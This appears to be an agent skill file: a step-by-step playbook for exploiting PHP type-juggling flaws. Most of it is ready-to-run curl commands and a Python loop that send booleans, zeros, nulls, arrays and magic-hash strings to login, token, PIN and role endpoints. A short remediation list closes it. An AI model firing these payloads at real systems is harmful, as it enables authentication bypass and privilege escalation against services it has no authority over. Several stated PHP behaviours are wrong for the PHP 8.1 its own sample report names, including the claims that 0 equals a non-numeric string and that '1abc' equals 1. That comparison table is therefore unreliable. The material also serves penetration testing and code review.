---
name: exploiting-type-juggling-vulnerabilities
description: Exploit PHP type juggling vulnerabilities caused by loose comparison operators to bypass authentication, circumvent hash verification, and manipulate application logic through type coercion attacks.
domain: cybersecurity
subdomain: web-application-security
tags: [type-juggling, php-security, loose-comparison, authentication-bypass, magic-hash, type-coercion, web-security]
version: "1.0"
author: mahipal
license: Apache-2.0
---

# Exploiting Type Juggling Vulnerabilities

## When to Use
- When testing PHP web applications for authentication bypass vulnerabilities
- During assessment of password comparison and hash verification logic
- When testing applications using loose comparison (== instead of ===)
- During code review of PHP applications handling JSON or deserialized input
- When evaluating input validation that relies on type-dependent comparison

## Prerequisites
- Understanding of PHP type system and loose comparison behavior
- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
- Burp Suite for request manipulation and parameter type changing
- PHP development environment for testing payloads locally
- Collection of magic hash strings from PayloadsAllTheThings
- Ability to send JSON or serialized data to control input types

## Workflow

### Step 1 — Identify Type Juggling Candidates
```bash
# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}
```

### Step 2 — Exploit Loose Comparison Authentication Bypass
```bash
# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"
```

### Step 3 — Exploit Magic Hash Collisions
```bash
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done
```

### Step 4 — Exploit Comparison in Access Control
```bash
# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'
```

### Step 5 — Exploit via Deserialization Input
```bash
# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []

# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)
```

### Step 6 — Automated Type Juggling Testing
```bash
# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list

# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python automation
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |
| Strict Comparison (===) | PHP comparison requiring both value and type to match |
| Magic Hash | String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison |
| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |
| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |
| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |
| Scientific Notation | PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | HTTP proxy for changing parameter types in requests |
| PHP interactive shell | Local testing of type juggling behavior |
| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |
| phpggc | PHP generic gadget chains for deserialization exploitation |
| Custom Python scripts | Automated type juggling payload testing |
| PHPStan/Psalm | Static analysis tools detecting loose comparisons in code |

## Common Scenarios

1. **Authentication Bypass via Boolean** — Send `"password": true` as JSON to bypass loose comparison password verification
2. **Magic Hash Collision** — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison
4. **PIN/OTP Bypass** — Send integer 0 as verification code to match against "0e..." hash of the actual code
5. **Role Escalation** — Send `"role": true` to match any non-empty role string in loose comparison access checks

## Output Format

```
## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel

### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |

### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |

### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files
```
